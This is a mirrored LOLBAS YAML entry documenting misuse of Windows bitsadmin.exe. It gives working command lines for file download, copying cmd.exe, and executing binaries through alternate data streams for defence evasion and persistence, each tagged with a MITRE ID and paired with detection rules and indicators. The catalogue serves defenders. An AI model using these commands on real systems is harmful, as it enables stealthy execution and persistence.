mirror of
https://github.com/LOLBAS-Project/LOLBAS
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59 lines
3.5 KiB
YAML
59 lines
3.5 KiB
YAML
---
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Name: Bitsadmin.exe
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Description: Used for managing background intelligent transfer
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1
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Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job.
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Usecase: Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique.
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
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Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
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Usecase: Download file from Internet
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
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Description: Command for copying cmd.exe to another folder
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Usecase: Copy file
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Category: Copy
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
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Description: One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
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Usecase: Execute binary file specified. Can be used as a defensive evasion.
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Category: Execute
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Privileges: User
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MitreID: T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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Full_Path:
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- Path: C:\Windows\System32\bitsadmin.exe
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- Path: C:\Windows\SysWOW64\bitsadmin.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/90ca1a8ad2e5c96d09a9ae4ff92483a2110d49ff/rules/windows/process_creation/win_process_creation_bitsadmin_download.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/abcaf00aeef3769aa2a6f66f7fb6537b867c1691/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/e40b8592544721c689f8ae96477ea1218e4c7a05/rules/windows/process_creation/win_monitoring_for_persistence_via_bits.yml
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- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/bitsadmin_download_file.yml
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- IOC: Child process from bitsadmin.exe
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- IOC: bitsadmin creates new files
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- IOC: bitsadmin adds data to alternate data stream
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Resources:
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- Link: https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - slide 53
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- Link: https://www.youtube.com/watch?v=_8xJaaQlpBo
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- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
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Acknowledgement:
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- Person: Rob Fuller
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Handle: '@mubix'
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- Person: Chris Gates
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Handle: '@carnal0wnage'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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